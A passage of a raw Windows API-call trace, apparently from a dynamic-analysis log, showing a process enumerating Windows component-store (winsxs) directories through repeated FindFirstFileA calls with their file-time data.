ftCreationTime.dwLowDateTime=0xb5c5a253, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb5c5a253, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb5c5a253, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.404] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.net_31bf3856ad364e35_6.1.7601.17514_none_59fab1d8310f6406\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.405] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.abstractions_31bf3856ad364e35_6.1.7601.17514_none_27f8b403a1eca9ee\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.406] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.dynamicdata_31bf3856ad364e35_6.1.7601.17514_none_69fe36810cb2c242\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.406] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.entity.design_31bf3856ad364e35_6.1.7601.17514_none_f7214c4c29a6074a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.408] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.entity_31bf3856ad364e35_6.1.7601.17514_none_9354893ea98f539e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb01bfc4d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.409] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.extensions.design_31bf3856ad364e35_6.1.7601.17514_none_642b0dde6210c9f7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb01bfc4d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb01bfc4d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.410] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.extensions_31bf3856ad364e35_6.1.7601.17514_none_2c9faef901c9edd1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb017398c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.411] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.web.routing_31bf3856ad364e35_6.1.7601.17514_none_593ac721b0aeff29\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a448e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb02a448e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb02a448e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.412] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-system.xml.linq_31bf3856ad364e35_6.1.7601.17514_none_fa08851339f04110\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb0199aec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0199aec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0199aec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.412] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-vbc_exe_config_orcas_31bf3856ad364e35_6.1.7600.16385_none_64f9016fb645370e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30d9e9b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x30d9e9b4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x30d9e9b4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.413] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35linq-vb_compiler_orcas_31bf3856ad364e35_6.1.7601.17514_none_f4285a06060032a9\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb47a4516, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.414] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35wpf-microsoft_winfx_targets_31bf3856ad364e35_6.1.7600.16385_none_f1ec14daf9881833\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.421] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35wpf-sentinel.v3.5client_31bf3856ad364e35_6.1.7600.16385_none_c3ecf9cbf269734c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.422] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35wpf-system.windows.presentation_31bf3856ad364e35_6.1.7600.16385_none_e160e36921a9e7a1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.424] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netg664.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_26b6e78892da8dd8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.425] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netg664.inf_31bf3856ad364e35_6.1.7600.16385_none_3e838f62f7e92ab2\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.426] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netimm.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_14b7dd5718b3cbca\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.427] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netimm.inf_31bf3856ad364e35_6.1.7600.16385_none_60363d1b8a50f87a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.428] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netirda.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_75bb5ada759bb763\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.430] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netirda.inf_31bf3856ad364e35_6.1.7600.16385_none_2afb8c2a5949ad69\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.431] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netk57a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7b243fc81455de0f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.432] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netk57a.inf_31bf3856ad364e35_6.1.7600.16385_none_b67bb5081937ae73\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b36c796, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b36c796, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.433] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl160a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7c260e8d374d4379\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.434] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl160a.inf_31bf3856ad364e35_6.1.7600.16385_none_acf1ae130af9b0ab\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.435] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl1c64.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c05dad432460b519\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.435] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl1c64.inf_31bf3856ad364e35_6.1.7600.16385_none_51ac6e08f7ca7715\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.436] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl1e64.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_543e2537fc12f027\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.437] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl1e64.inf_31bf3856ad364e35_6.1.7600.16385_none_97e8f61adcecb187\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.454] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl260a.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_37d5568c6cab39ba\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.455] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netl260a.inf_31bf3856ad364e35_6.1.7600.16385_none_d603843483dfa9aa\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.457] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netloop.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f643994ba4a197b9\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.457] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netloop.inf_31bf3856ad364e35_6.1.7600.16385_none_5cf0a715673cddbb\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.459] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netmyk00.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a8d4a4f269f6f172\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.459] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netmyk00.inf_31bf3856ad364e35_6.1.7600.16385_none_18eefc05dfc312ee\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.460] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netnvm64.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bd82e0a654640092\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.461] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netnvm64.inf_31bf3856ad364e35_6.1.7600.16385_none_2a8cc318dd2573b8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.462] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netnvma.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d029b57a521c129b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.463] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netnvma.inf_31bf3856ad364e35_6.1.7600.16385_none_8e00a40a4192c673\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.464] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netr28ux.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fe413a2033a0e88c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.465] FindFirstFileA 